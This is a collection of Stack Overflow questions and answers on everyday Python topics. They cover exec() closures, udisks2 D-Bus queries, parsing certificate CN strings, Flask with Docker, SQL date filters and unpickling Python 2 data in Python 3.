TL;DR ----- To set correct `__closure__` attribute of function defined in the code string passed to `exec()` function. Just wrap the total code string with a function definition. I provide an example here to demonstrate all possible situations. Suppose you want to define a function named `foo` inside a code string used by `exec()`. The foo use function, variables that defined inside and outside the code string: ``` def f1(): outside_local_variable = "this is local variable defined outside code str" def outside_local_function(): print("this is function defined outside code str") code = """\ local_variable = "this is local variable defined inside code str" def local_function(): print("this is function defined inside code str") def foo(): print(local_variable) local_function() print(outside_local_variable) outside_local_function() foo() """ exec(code) f1() ``` It can be wrapper like this: ``` def f1(): outside_local_variable = "this is local variable defined outside code str" def outside_local_function(): print("this is function defined outside code str") code = """\ def closure_helper_func(outside_local_variable, outside_local_function): local_variable = "this is local variable defined inside code str" def local_function(): print("this is function defined inside code str") def foo(): print(local_variable) local_function() print(outside_local_variable) outside_local_function() foo() closure_helper_func(outside_local_variable, outside_local_function) """ exec(code) f1() ``` --- Detailed explanation: --------------------- **Why the `__closure__` attribute is not corretly set:** please refer to The [community wiki answer](https://stackoverflow.com/a/72340516/9758790). **How to set the `__closure__` attribute to what's expected:** Just wrap the whole code str with a helper function definition and call the helper function once, then during compiling, the variables are considered to be local, and will be stored in the `__closure__` attribute. For the minimal demonstration in the question, it can be modified to following: ``` code = """\ def closure_helper_func(): a=1 def f1(): print(a) print(f1.__closure__) f1() closure_helper_func() """ def foo(): exec(code) foo() ``` This output as expected ``` (<cell at 0x0000019CE6239A98: int object at 0x00007FFF42BFA1A0>,) 1 ``` The example above provide a way to add symbols that defined in the code str to the `__closure__` For example, in the minimal demo, a=1 is a defined inside the code str. But **what if one want to add the local symbols defined outside the code str**? For example, in the code snippet in EDIT1 session, the `self` symbol needs to be added to the `__closure__`, and the symbol is provided in the locals() when `exec()` is called. **Just add the name of these symbols to the arguments of helper function** and you can handle this situation. --- The following shows how to fix the problem in EDIT1 session. ``` class test_wrapper_function(): def __init__(self): define_function_str = '''\ def closure_helper_func(self): def temp_func(): return self.func() self.wrappered_func2 = temp_func closure_helper_func(self) ''' exec(define_function_str) def func(self): print("hi!") t = test_wrapper_function() t.wrappered_func2() ``` --- The following shows how to fix the codes in the session "Why I want to do this" ``` class MyWidget(): def __init__(self): self.create_slots_family() def do_something(self, character): # in fact, this function is much more complex. Do some simplification. print(character) def create_slots_i(self, character): # want to define a function like this: # if character is 'C', define self.func_C such that self.func_C() works like self.do_something(C) # create_slot_command_str = "self.func_" + character + " = lambda:self.do_something('" + character + "')" create_slot_command_str = """ def closure_helper_func(self): self.func_""" + character + " = lambda:self.do_something('" + character + """') closure_helper_func(self) """ # print(create_slot_command_str) exec(create_slot_command_str) def create_slots_family(self): for c in ["A", "B", "C", "D"]: self.create_slots_i(c) my_widget = MyWidget() my_widget.func_A() ``` --- This solution seems to be too tricky. However, I can not find a more elegant way to declare that some variables should be local symbol during compiling.
23,244,245
I have developed an application which uses udisks version 1 to find and list details of connected USB drives. The details include device (/dev/sdb1...etc), mount point, and free space. However, I found that modern distros has udisks2 installed by default. Here is the little code found on the other SO thread:- ``` #!/usr/bin/python2.7 import dbus bus = dbus.SystemBus() ud_manager_obj = bus.get_object('org.freedesktop.UDisks2', '/org/freedesktop/UDisks2') om = dbus.Interface(ud_manager_obj, 'org.freedesktop.DBus.ObjectManager') for k,v in om.GetManagedObjects().iteritems(): drive_info = v.get('org.freedesktop.UDisks2.Drive', {}) if drive_info.get('ConnectionBus') == 'usb' and drive_info.get('Removable'): if drive_info['MediaRemovable']: print("Device Path: %s" % k) ``` It produces:- `[sundar@arch ~]$ ./udisk2.py Device Path: /org/freedesktop/UDisks2/drives/JetFlash_Transcend_8GB_GLFK4LYSFG3HZZ48` The above result is fine but how can I connect `org.freedesktop.UDisks2.Block` and get properties of the devices? <http://udisks.freedesktop.org/docs/latest/gdbus-org.freedesktop.UDisks2.Block.html>
2014/04/23
[ "https://Stackoverflow.com/questions/23244245", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2221360/" ]
After lot of hit and trial, I could get what I wanted. Just posting it so that some one can benefit in the future. Here is the code:- ``` #!/usr/bin/python2.7 # coding: utf-8 import dbus def get_usb(): devices = [] bus = dbus.SystemBus() ud_manager_obj = bus.get_object('org.freedesktop.UDisks2', '/org/freedesktop/UDisks2') om = dbus.Interface(ud_manager_obj, 'org.freedesktop.DBus.ObjectManager') try: for k,v in om.GetManagedObjects().iteritems(): drive_info = v.get('org.freedesktop.UDisks2.Block', {}) if drive_info.get('IdUsage') == "filesystem" and not drive_info.get('HintSystem') and not drive_info.get('ReadOnly'): device = drive_info.get('Device') device = bytearray(device).replace(b'\x00', b'').decode('utf-8') devices.append(device) except: print "No device found..." return devices def usb_details(device): bus = dbus.SystemBus() bd = bus.get_object('org.freedesktop.UDisks2', '/org/freedesktop/UDisks2/block_devices%s'%device[4:]) try: device = bd.Get('org.freedesktop.UDisks2.Block', 'Device', dbus_interface='org.freedesktop.DBus.Properties') device = bytearray(device).replace(b'\x00', b'').decode('utf-8') print "printing " + device label = bd.Get('org.freedesktop.UDisks2.Block', 'IdLabel', dbus_interface='org.freedesktop.DBus.Properties') print 'Name od partition is %s'%label uuid = bd.Get('org.freedesktop.UDisks2.Block', 'IdUUID', dbus_interface='org.freedesktop.DBus.Properties') print 'UUID is %s'%uuid size = bd.Get('org.freedesktop.UDisks2.Block', 'Size', dbus_interface='org.freedesktop.DBus.Properties') print 'Size is %s'%uuid file_system = bd.Get('org.freedesktop.UDisks2.Block', 'IdType', dbus_interface='org.freedesktop.DBus.Properties') print 'Filesystem is %s'%file_system except: print "Error detecting USB details..." ``` The complete block device properties can be found here <http://udisks.freedesktop.org/docs/latest/gdbus-org.freedesktop.UDisks2.Block.html>
**Edit** Note that the `Block` object does not have `ConnectionBus` or `Removable` properties. You will have to change the code to remove references to `Drive` object properties for the code to work. **/Edit** If you want to connect to `Block`, not `Drive`, then instead of ``` drive_info = v.get('org.freedesktop.UDisks2.Drive', {}) ``` try ``` drive_info = v.get('org.freedesktop.UDisks2.Block', {}) ``` Then you can iterate through `drive_info` and output it's properties. For example, to get the `Id` property, you could: ``` print("Id: %s" % drive_info['Id']) ``` I'm sure that there is a nice pythonic way to iterate through all the property key/value pairs and display the values, but I'll leave that to you. Key being `'Id'` and value being the string stored in `drive_info['Id']`. Good luck
61,448,722
I have a python function that outputs/prints the following: ``` ['CN=*.something1.net', 'CN=*.something2.net', 'CN=*.something4.net', 'CN=something6.net', 'CN=something8.net', 'CN=intranet.something89.net', 'CN=intranet.something111.net, 'OU=PositiveSSL Multi-Domain, CN=something99.net', 'OU=Domain Control Validated, CN=intranet.something66.net',...etc] ``` I am trying to extract all the sub-domain names between "CN=" and the single quotation mark, using the split() method in python. I've tried `split('CN=', 1)[0]` but i can't get my head around on how to use it what i want to print out: ``` ['something1.net', 'something2.net', 'something4.net', 'intranet.something111.net', 'intranet.something66.net'] ``` Any help would be gratefully appreciated :-) Thanks, MJ
2020/04/26
[ "https://Stackoverflow.com/questions/61448722", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3704597/" ]
The last single quote is indicating the end of the string, so it seems you just want everything after `CN=`. Assuming that's the case, you can just chop off the first three characters: ``` subdomains = [item[3:] for item in my_list if item.startswith('CN=')] ```
Here is a more readable code that extracts the subdomains in more clean or better way; @tzaman code didn't really give me subdomains. ``` myDirtyDomains = ['CN=*.something1.net', 'CN=*.something2.net', 'CN=*.something4.net',\ 'CN=something6.net', 'CN=something8.net', 'CN=intranet.something89.net',\ 'CN=intranet.something111.net', 'OU=PositiveSSL Multi-Domain', \ 'CN=something99.net', 'OU=Domain Control Validated', 'CN=intranet.something66.net'] cleanSubDomainsList = [] for item in myDirtyDomains: countDots = item.count(".") if countDots == 2: host = item.partition('CN=')[2] subdomain = host.partition('.')[0] cleanSubDomainsList.append(subdomain) print(cleanSubDomainsList) ```
61,448,722
I have a python function that outputs/prints the following: ``` ['CN=*.something1.net', 'CN=*.something2.net', 'CN=*.something4.net', 'CN=something6.net', 'CN=something8.net', 'CN=intranet.something89.net', 'CN=intranet.something111.net, 'OU=PositiveSSL Multi-Domain, CN=something99.net', 'OU=Domain Control Validated, CN=intranet.something66.net',...etc] ``` I am trying to extract all the sub-domain names between "CN=" and the single quotation mark, using the split() method in python. I've tried `split('CN=', 1)[0]` but i can't get my head around on how to use it what i want to print out: ``` ['something1.net', 'something2.net', 'something4.net', 'intranet.something111.net', 'intranet.something66.net'] ``` Any help would be gratefully appreciated :-) Thanks, MJ
2020/04/26
[ "https://Stackoverflow.com/questions/61448722", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3704597/" ]
The last single quote is indicating the end of the string, so it seems you just want everything after `CN=`. Assuming that's the case, you can just chop off the first three characters: ``` subdomains = [item[3:] for item in my_list if item.startswith('CN=')] ```
If you just want to strip `CN=` from each string, you can strip from the left with [`str.lstrip()`](https://docs.python.org/3/library/stdtypes.html#str.lstrip): ``` subdomains = [item.lstrip("CN=") for item in my_list] ```
50,283,776
I am writing a python script and i want to execute some code only if the python script is being run directly from terminal and not from any another script. How to do this in Ubuntu without using any extra command line arguments .? The answer in here **DOESN't WORK**: [Determine if the program is called from a script in Python](https://stackoverflow.com/questions/29239698/python-determine-if-the-program-is-called-from-a-script) Here's my directory structure `home |-testpython.py |-script.sh` ### script.py contains ``` ./testpython.py ``` when I run `./script.sh` i want one thing to happen . when I run `./testpython.py` directly from terminal without calling the "script.sh" i want something else to happen . how do i detect such a difference in the calling way . Getting the parent process name always returns "bash" itself .
2018/05/11
[ "https://Stackoverflow.com/questions/50283776", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6665568/" ]
You should probably be using command-line arguments instead, but this *is* doable. Simply check if the current process is the process group leader: ``` $ sh -c 'echo shell $$; python3 -c "import os; print(os.getpid.__name__, os.getpid()); print(os.getpgid.__name__, os.getpgid(0)); print(os.getsid.__name__, os.getsid(0))"' shell 17873 getpid 17874 getpgid 17873 getsid 17122 ``` Here, `sh` is the process group leader, and `python3` is a process in that group because it is forked from `sh`. Note that all processes in a pipeline are in the same process group and the leftmost is the leader.
I recommend using command-line arguments. **script.sh** ```sh ./testpython.py --from-script ``` **testpython.py** ``` import sys if "--from-script" in sys.argv: # From script else: # Not from script ```
42,289,722
I have the python code where I pass the json file ``` def home(): with open('file.json', 'a+') as f: return render_template('index.html', json_data=f.read()) ``` The file look like this ``` {"hosts": [{"shortname": "serv1", "ipadr": "10.0.0.1", "longname": "server1"}, {"shortname": "serv2", "ipadr": "10.0.0.2", "longname": "server2"}]} ``` On the client side, I wrote this code ``` <table id="placar" class="table table-condensed table-bordered"> <thead> <tr> <th>shortname</th> <th>longname</th> <th>ipadress</th> </tr> </thead> <tbody></tbody> </table> </div> <script> var data = {{ json_data }} var transform = { tag: 'tr', children: [{ "tag": "td", "html": "${shortname}" }, { "tag": "td", "html": "${ipadr}" }, { "tag": "td", "html": "${longname}" }] }; $('#placar > tbody ').json2html(data, transform); </script> ``` But it doesn't work with my file, if write the simple array it works perfectly. Can anyone say what I did wrong, pass the file or create a table?
2017/02/17
[ "https://Stackoverflow.com/questions/42289722", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7528895/" ]
Try this : Here `DATEADD(yy, DATEDIFF(yy,0,getdate())` will give start month of the year ``` DA.Access_Date >= DATEADD(YEAR, -2, DATEADD(YY, DATEDIFF(YY,0,GETDATE()), 0)) ```
Your condition should be like below. `DATEADD(YEAR,DATEDIFF(YEAR, 0, GETDATE())-2,0)` this will returns first day of `2015` year. ``` DA.Access_Date >= DATEADD(YEAR,DATEDIFF(YEAR, 0, GETDATE())-2,0) ```
42,289,722
I have the python code where I pass the json file ``` def home(): with open('file.json', 'a+') as f: return render_template('index.html', json_data=f.read()) ``` The file look like this ``` {"hosts": [{"shortname": "serv1", "ipadr": "10.0.0.1", "longname": "server1"}, {"shortname": "serv2", "ipadr": "10.0.0.2", "longname": "server2"}]} ``` On the client side, I wrote this code ``` <table id="placar" class="table table-condensed table-bordered"> <thead> <tr> <th>shortname</th> <th>longname</th> <th>ipadress</th> </tr> </thead> <tbody></tbody> </table> </div> <script> var data = {{ json_data }} var transform = { tag: 'tr', children: [{ "tag": "td", "html": "${shortname}" }, { "tag": "td", "html": "${ipadr}" }, { "tag": "td", "html": "${longname}" }] }; $('#placar > tbody ').json2html(data, transform); </script> ``` But it doesn't work with my file, if write the simple array it works perfectly. Can anyone say what I did wrong, pass the file or create a table?
2017/02/17
[ "https://Stackoverflow.com/questions/42289722", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7528895/" ]
Try this : Here `DATEADD(yy, DATEDIFF(yy,0,getdate())` will give start month of the year ``` DA.Access_Date >= DATEADD(YEAR, -2, DATEADD(YY, DATEDIFF(YY,0,GETDATE()), 0)) ```
With the help of **YEAR** scalar function ``` WHERE YEAR(DA.Access_Date) in (YEAR(GETDATE()),YEAR(GETDATE())-1,YEAR(GETDATE())-2) ```
42,289,722
I have the python code where I pass the json file ``` def home(): with open('file.json', 'a+') as f: return render_template('index.html', json_data=f.read()) ``` The file look like this ``` {"hosts": [{"shortname": "serv1", "ipadr": "10.0.0.1", "longname": "server1"}, {"shortname": "serv2", "ipadr": "10.0.0.2", "longname": "server2"}]} ``` On the client side, I wrote this code ``` <table id="placar" class="table table-condensed table-bordered"> <thead> <tr> <th>shortname</th> <th>longname</th> <th>ipadress</th> </tr> </thead> <tbody></tbody> </table> </div> <script> var data = {{ json_data }} var transform = { tag: 'tr', children: [{ "tag": "td", "html": "${shortname}" }, { "tag": "td", "html": "${ipadr}" }, { "tag": "td", "html": "${longname}" }] }; $('#placar > tbody ').json2html(data, transform); </script> ``` But it doesn't work with my file, if write the simple array it works perfectly. Can anyone say what I did wrong, pass the file or create a table?
2017/02/17
[ "https://Stackoverflow.com/questions/42289722", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7528895/" ]
Try this : Here `DATEADD(yy, DATEDIFF(yy,0,getdate())` will give start month of the year ``` DA.Access_Date >= DATEADD(YEAR, -2, DATEADD(YY, DATEDIFF(YY,0,GETDATE()), 0)) ```
Just compare the year. Try ``` YEAR(DA.Access_Date) >= (YEAR(GETDATE()) - 2) ```
42,289,722
I have the python code where I pass the json file ``` def home(): with open('file.json', 'a+') as f: return render_template('index.html', json_data=f.read()) ``` The file look like this ``` {"hosts": [{"shortname": "serv1", "ipadr": "10.0.0.1", "longname": "server1"}, {"shortname": "serv2", "ipadr": "10.0.0.2", "longname": "server2"}]} ``` On the client side, I wrote this code ``` <table id="placar" class="table table-condensed table-bordered"> <thead> <tr> <th>shortname</th> <th>longname</th> <th>ipadress</th> </tr> </thead> <tbody></tbody> </table> </div> <script> var data = {{ json_data }} var transform = { tag: 'tr', children: [{ "tag": "td", "html": "${shortname}" }, { "tag": "td", "html": "${ipadr}" }, { "tag": "td", "html": "${longname}" }] }; $('#placar > tbody ').json2html(data, transform); </script> ``` But it doesn't work with my file, if write the simple array it works perfectly. Can anyone say what I did wrong, pass the file or create a table?
2017/02/17
[ "https://Stackoverflow.com/questions/42289722", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7528895/" ]
Try this : Here `DATEADD(yy, DATEDIFF(yy,0,getdate())` will give start month of the year ``` DA.Access_Date >= DATEADD(YEAR, -2, DATEADD(YY, DATEDIFF(YY,0,GETDATE()), 0)) ```
You should try this in where condition. Year(DA.Access\_Date) >= Year(getdate()) - 2
60,945,866
I've created flask app and try to dockerize it. It uses machine learning libraries, I had some problems with download it so my Dockerfile is a little bit messy, but Image was succesfully created. ``` from alpine:latest RUN apk add --no-cache python3-dev \ && pip3 install --upgrade pip WORKDIR /app COPY . /app FROM python:3.5 RUN pip3 install gensim RUN pip3 freeze > requirements.txt RUN pip3 --no-cache-dir install -r requirements.txt EXPOSE 5000 ENV PATH=/venv/bin:$PATH ENV FLASK_APP /sentiment-service/__init__.py CMD ["python","-m","flask", "run", "--host", "0.0.0.0", "--port", "5000"] ``` and when i try: docker run my\_app:latest I get ``` /usr/local/bin/python: No module named flask ``` Of course I have Flask==1.1.1 in my requirements.txt file. Thanks for any help!
2020/03/31
[ "https://Stackoverflow.com/questions/60945866", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9802634/" ]
The problem is here: `RUN pip3 freeze > requirements.txt` The `>` operator in bash overwrites the content of the file. If you want to append to your `requirements.txt`, consider using `>>` operator: `RUN pip3 freeze >> requirements.txt`
Thank you All. Finally I rebuilded my app, simplified requirements, exclude alpine and use python 3.7 in my Dockerfile. I could run app locally, but Docker probably could not find some file from path, or get some other error from app, that is why it stopped just after starting.
43,648,081
I have a pickle file that was created with python 2.7 that I'm trying to port to python 3.6. The file is saved in py 2.7 via `pickle.dumps(self.saved_objects, -1)` and loaded in python 3.6 via `loads(data, encoding="bytes")` (from a file opened in `rb` mode). If I try opening in `r` mode and pass `encoding=latin1` to `loads` I get UnicodeDecode errors. When I open it as a byte stream it loads, but literally every string is now a byte string. Every object's `__dict__` keys are all `b"a_variable_name"` which then generates attribute errors when calling `an_object.a_variable_name` because `__getattr__` passes a string and `__dict__` only contains bytes. I feel like I've tried every combination of arguments and pickle protocols already. Apart from forcibly converting all objects' `__dict__` keys to strings I'm at a loss. Any ideas? \*\* **Skip to 4/28/17 update for better example** **-------------------------------------------------------------------------------------------------------------** \*\* **Update 4/27/17** This minimum example illustrates my problem: **From py 2.7.13** ``` import pickle class test(object): def __init__(self): self.x = u"test ¢" # including a unicode str breaks things t = test() dumpstr = pickle.dumps(t) >>> dumpstr "ccopy_reg\n_reconstructor\np0\n(c__main__\ntest\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'x'\np6\nVtest \xa2\np7\nsb." ``` **From py 3.6.1** ``` import pickle class test(object): def __init__(self): self.x = "xyz" dumpstr = b"ccopy_reg\n_reconstructor\np0\n(c__main__\ntest\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'x'\np6\nVtest \xa2\np7\nsb." t = pickle.loads(dumpstr, encoding="bytes") >>> t <__main__.test object at 0x040E3DF0> >>> t.x Traceback (most recent call last): File "<pyshell#15>", line 1, in <module> t.x AttributeError: 'test' object has no attribute 'x' >>> t.__dict__ {b'x': 'test ¢'} >>> ``` **-------------------------------------------------------------------------------------------------------------** **Update 4/28/17** To re-create my issue I'm posting my actual raw pickle data [here](https://www.dropbox.com/s/qazbnorjgxu6q6r/raw_data.pkl?dl=1) The pickle file was created in python 2.7.13, windows 10 using ``` with open("raw_data.pkl", "wb") as fileobj: pickle.dump(library, fileobj, protocol=0) ``` (protocol 0 so it's human readable) To run it you'll need `classes.py` ``` # classes.py class Library(object): pass class Book(object): pass class Student(object): pass class RentalDetails(object): pass ``` And the test script here: ``` # load_pickle.py import pickle, sys, itertools, os raw_pkl = "raw_data.pkl" is_py3 = sys.version_info.major == 3 read_modes = ["rb"] encodings = ["bytes", "utf-8", "latin-1"] fix_imports_choices = [True, False] files = ["raw_data_%s.pkl" % x for x in range(3)] def py2_test(): with open(raw_pkl, "rb") as fileobj: loaded_object = pickle.load(fileobj) print("library dict: %s" % (loaded_object.__dict__.keys())) return loaded_object def py2_dumps(): library = py2_test() for protcol, path in enumerate(files): print("dumping library to %s, protocol=%s" % (path, protcol)) with open(path, "wb") as writeobj: pickle.dump(library, writeobj, protocol=protcol) def py3_test(): # this test iterates over the different options trying to load # the data pickled with py2 into a py3 environment print("starting py3 test") for (read_mode, encoding, fix_import, path) in itertools.product(read_modes, encodings, fix_imports_choices, files): py3_load(path, read_mode=read_mode, fix_imports=fix_import, encoding=encoding) def py3_load(path, read_mode, fix_imports, encoding): from traceback import print_exc print("-" * 50) print("path=%s, read_mode = %s fix_imports = %s, encoding = %s" % (path, read_mode, fix_imports, encoding)) if not os.path.exists(path): print("start this file with py2 first") return try: with open(path, read_mode) as fileobj: loaded_object = pickle.load(fileobj, fix_imports=fix_imports, encoding=encoding) # print the object's __dict__ print("library dict: %s" % (loaded_object.__dict__.keys())) # consider the test a failure if any member attributes are saved as bytes test_passed = not any((isinstance(k, bytes) for k in loaded_object.__dict__.keys())) print("Test %s" % ("Passed!" if test_passed else "Failed")) except Exception: print_exc() print("Test Failed") input("Press Enter to continue...") print("-" * 50) if is_py3: py3_test() else: # py2_test() py2_dumps() ``` put all 3 in the same directory and run `c:\python27\python load_pickle.py` first which will create 1 pickle file for each of the 3 protocols. Then run the same command with python 3 and notice that it version converts the `__dict__` keys to bytes. I had it working for about 6 hours, but for the life of me I can't figure out how I broke it again.
2017/04/27
[ "https://Stackoverflow.com/questions/43648081", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2682863/" ]
In short, you're hitting [bug 22005](http://bugs.python.org/issue22005) with `datetime.date` objects in the `RentalDetails` objects. That can be worked around with the `encoding='bytes'` parameter, but that leaves your classes with `__dict__` containing bytes: ``` >>> library = pickle.loads(pickle_data, encoding='bytes') >>> dir(library) Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: '<' not supported between instances of 'str' and 'bytes' ``` It's possible to manually fix that based on your specific data: ``` def fix_object(obj): """Decode obj.__dict__ containing bytes keys""" obj.__dict__ = dict((k.decode("ascii"), v) for k, v in obj.__dict__.items()) def fix_library(library): """Walk all library objects and decode __dict__ keys""" fix_object(library) for student in library.students: fix_object(student) for book in library.books: fix_object(book) for rental in book.rentals: fix_object(rental) ``` But that's fragile and enough of a pain you should be looking for a better option. 1) Implement [`__getstate__`/`__setstate__`](https://docs.python.org/2.7/library/pickle.html#object.__getstate__) that maps datetime objects to a non-broken representation, for instance: ``` class Event(object): """Example class working around datetime pickling bug""" def __init__(self): self.date = datetime.date.today() def __getstate__(self): state = self.__dict__.copy() state["date"] = state["date"].toordinal() return state def __setstate__(self, state): self.__dict__.update(state) self.date = datetime.date.fromordinal(self.date) ``` 2) Don't use pickle at all. Along the lines of `__getstate__`/`__setstate__`, you can just implement `to_dict`/`from_dict` methods or similar in your classes for saving their content as json or some other plain format. A final note, having a backreference to library in each object shouldn't be required.
> > **Question**: Porting pickle py2 to py3 strings become bytes > > > The given `encoding='latin-1'` below, is ok. Your Problem with `b''` are the result of using `encoding='bytes'`. This will result in dict-keys being unpickled as bytes instead of as str. The Problem data are the `datetime.date values '\x07á\x02\x10'`, starting at line **56** in `raw-data.pkl`. It's a konwn Issue, as pointed already. [Unpickling python2 datetime under python3](https://stackoverflow.com/questions/24805105/unpickling-python2-datetime-under-python3) <http://bugs.python.org/issue22005> For a workaround, I have patched `pickle.py` and got `unpickled object`, e.g. > > book.library.books[0].rentals[0].rental\_date=2017-02-16 > > > --- This will work for me: ``` t = pickle.loads(dumpstr, encoding="latin-1") ``` > > **Output**: > > <**main**.test object at 0xf7095fec> > > t.\_\_dict\_\_={'x': 'test ¢'} > > test ¢ > > > ***Tested with Python:3.4.2***
43,648,081
I have a pickle file that was created with python 2.7 that I'm trying to port to python 3.6. The file is saved in py 2.7 via `pickle.dumps(self.saved_objects, -1)` and loaded in python 3.6 via `loads(data, encoding="bytes")` (from a file opened in `rb` mode). If I try opening in `r` mode and pass `encoding=latin1` to `loads` I get UnicodeDecode errors. When I open it as a byte stream it loads, but literally every string is now a byte string. Every object's `__dict__` keys are all `b"a_variable_name"` which then generates attribute errors when calling `an_object.a_variable_name` because `__getattr__` passes a string and `__dict__` only contains bytes. I feel like I've tried every combination of arguments and pickle protocols already. Apart from forcibly converting all objects' `__dict__` keys to strings I'm at a loss. Any ideas? \*\* **Skip to 4/28/17 update for better example** **-------------------------------------------------------------------------------------------------------------** \*\* **Update 4/27/17** This minimum example illustrates my problem: **From py 2.7.13** ``` import pickle class test(object): def __init__(self): self.x = u"test ¢" # including a unicode str breaks things t = test() dumpstr = pickle.dumps(t) >>> dumpstr "ccopy_reg\n_reconstructor\np0\n(c__main__\ntest\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'x'\np6\nVtest \xa2\np7\nsb." ``` **From py 3.6.1** ``` import pickle class test(object): def __init__(self): self.x = "xyz" dumpstr = b"ccopy_reg\n_reconstructor\np0\n(c__main__\ntest\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'x'\np6\nVtest \xa2\np7\nsb." t = pickle.loads(dumpstr, encoding="bytes") >>> t <__main__.test object at 0x040E3DF0> >>> t.x Traceback (most recent call last): File "<pyshell#15>", line 1, in <module> t.x AttributeError: 'test' object has no attribute 'x' >>> t.__dict__ {b'x': 'test ¢'} >>> ``` **-------------------------------------------------------------------------------------------------------------** **Update 4/28/17** To re-create my issue I'm posting my actual raw pickle data [here](https://www.dropbox.com/s/qazbnorjgxu6q6r/raw_data.pkl?dl=1) The pickle file was created in python 2.7.13, windows 10 using ``` with open("raw_data.pkl", "wb") as fileobj: pickle.dump(library, fileobj, protocol=0) ``` (protocol 0 so it's human readable) To run it you'll need `classes.py` ``` # classes.py class Library(object): pass class Book(object): pass class Student(object): pass class RentalDetails(object): pass ``` And the test script here: ``` # load_pickle.py import pickle, sys, itertools, os raw_pkl = "raw_data.pkl" is_py3 = sys.version_info.major == 3 read_modes = ["rb"] encodings = ["bytes", "utf-8", "latin-1"] fix_imports_choices = [True, False] files = ["raw_data_%s.pkl" % x for x in range(3)] def py2_test(): with open(raw_pkl, "rb") as fileobj: loaded_object = pickle.load(fileobj) print("library dict: %s" % (loaded_object.__dict__.keys())) return loaded_object def py2_dumps(): library = py2_test() for protcol, path in enumerate(files): print("dumping library to %s, protocol=%s" % (path, protcol)) with open(path, "wb") as writeobj: pickle.dump(library, writeobj, protocol=protcol) def py3_test(): # this test iterates over the different options trying to load # the data pickled with py2 into a py3 environment print("starting py3 test") for (read_mode, encoding, fix_import, path) in itertools.product(read_modes, encodings, fix_imports_choices, files): py3_load(path, read_mode=read_mode, fix_imports=fix_import, encoding=encoding) def py3_load(path, read_mode, fix_imports, encoding): from traceback import print_exc print("-" * 50) print("path=%s, read_mode = %s fix_imports = %s, encoding = %s" % (path, read_mode, fix_imports, encoding)) if not os.path.exists(path): print("start this file with py2 first") return try: with open(path, read_mode) as fileobj: loaded_object = pickle.load(fileobj, fix_imports=fix_imports, encoding=encoding) # print the object's __dict__ print("library dict: %s" % (loaded_object.__dict__.keys())) # consider the test a failure if any member attributes are saved as bytes test_passed = not any((isinstance(k, bytes) for k in loaded_object.__dict__.keys())) print("Test %s" % ("Passed!" if test_passed else "Failed")) except Exception: print_exc() print("Test Failed") input("Press Enter to continue...") print("-" * 50) if is_py3: py3_test() else: # py2_test() py2_dumps() ``` put all 3 in the same directory and run `c:\python27\python load_pickle.py` first which will create 1 pickle file for each of the 3 protocols. Then run the same command with python 3 and notice that it version converts the `__dict__` keys to bytes. I had it working for about 6 hours, but for the life of me I can't figure out how I broke it again.
2017/04/27
[ "https://Stackoverflow.com/questions/43648081", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2682863/" ]
In short, you're hitting [bug 22005](http://bugs.python.org/issue22005) with `datetime.date` objects in the `RentalDetails` objects. That can be worked around with the `encoding='bytes'` parameter, but that leaves your classes with `__dict__` containing bytes: ``` >>> library = pickle.loads(pickle_data, encoding='bytes') >>> dir(library) Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: '<' not supported between instances of 'str' and 'bytes' ``` It's possible to manually fix that based on your specific data: ``` def fix_object(obj): """Decode obj.__dict__ containing bytes keys""" obj.__dict__ = dict((k.decode("ascii"), v) for k, v in obj.__dict__.items()) def fix_library(library): """Walk all library objects and decode __dict__ keys""" fix_object(library) for student in library.students: fix_object(student) for book in library.books: fix_object(book) for rental in book.rentals: fix_object(rental) ``` But that's fragile and enough of a pain you should be looking for a better option. 1) Implement [`__getstate__`/`__setstate__`](https://docs.python.org/2.7/library/pickle.html#object.__getstate__) that maps datetime objects to a non-broken representation, for instance: ``` class Event(object): """Example class working around datetime pickling bug""" def __init__(self): self.date = datetime.date.today() def __getstate__(self): state = self.__dict__.copy() state["date"] = state["date"].toordinal() return state def __setstate__(self, state): self.__dict__.update(state) self.date = datetime.date.fromordinal(self.date) ``` 2) Don't use pickle at all. Along the lines of `__getstate__`/`__setstate__`, you can just implement `to_dict`/`from_dict` methods or similar in your classes for saving their content as json or some other plain format. A final note, having a backreference to library in each object shouldn't be required.
You should treat `pickle` data as specific to the (major) version of Python that created it. (See [Gregory Smith's message w.r.t. issue 22005](http://bugs.python.org/issue22005#msg288821).) The best way to get around this is to write a Python 2.7 program to read the pickled data, and write it out in a neutral format. Taking a quick look at your actual data, it seems to me that an SQLite database is appropriate as an interchange format, since the `Book`s contain references to a `Library` and `RentalDetails`. You could create separate tables for each.
26,963,534
I'm trying to complete a dice game python (3.4) programming assignment for school and I'm having some trouble passing a variable from one function to another using a return statement, but when I run the program the variable "diesum" is interpreted as undefined. ``` import random def RollDice(): die1 = random.randint(1, 6) die2 = random.randint(1, 6) diesum = die1 + die2 return diesum def Craps(diesum): craps = [2, 3, 12] natural = [7, 11] established = [4, 5, 6, 8, 9, 10] if (diesum == craps): print(die1, "+", die2, "=", diesum, ",You lost") elif (diesum == natural): print(die1, "+", die2, "=", diesum, ",You Win") elif (diesum == established): print("Point is ", diesum) diesum = roll while diesum == roll: RollDice() if diesum == roll: print("Same Number, You Won!") elif (diesum != 7): print("You Win") else: print("You Lost!") break RollDice() Craps(diesum) ```
2014/11/16
[ "https://Stackoverflow.com/questions/26963534", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4259262/" ]
You are not passing the result of `RollDice` into `Craps`. Try this instead: ``` result = RollDice() Craps(result) ``` There are some other issues in the snippet that you have pasted, but this is the main reason that your are seeing an error. The `return` statement returns a value from a function. You need to bind the value to a name (`result` in my case) before you can refer to it. You could also write `Craps(RollDice())` if you do not want to capture the result into an intermediate binding.
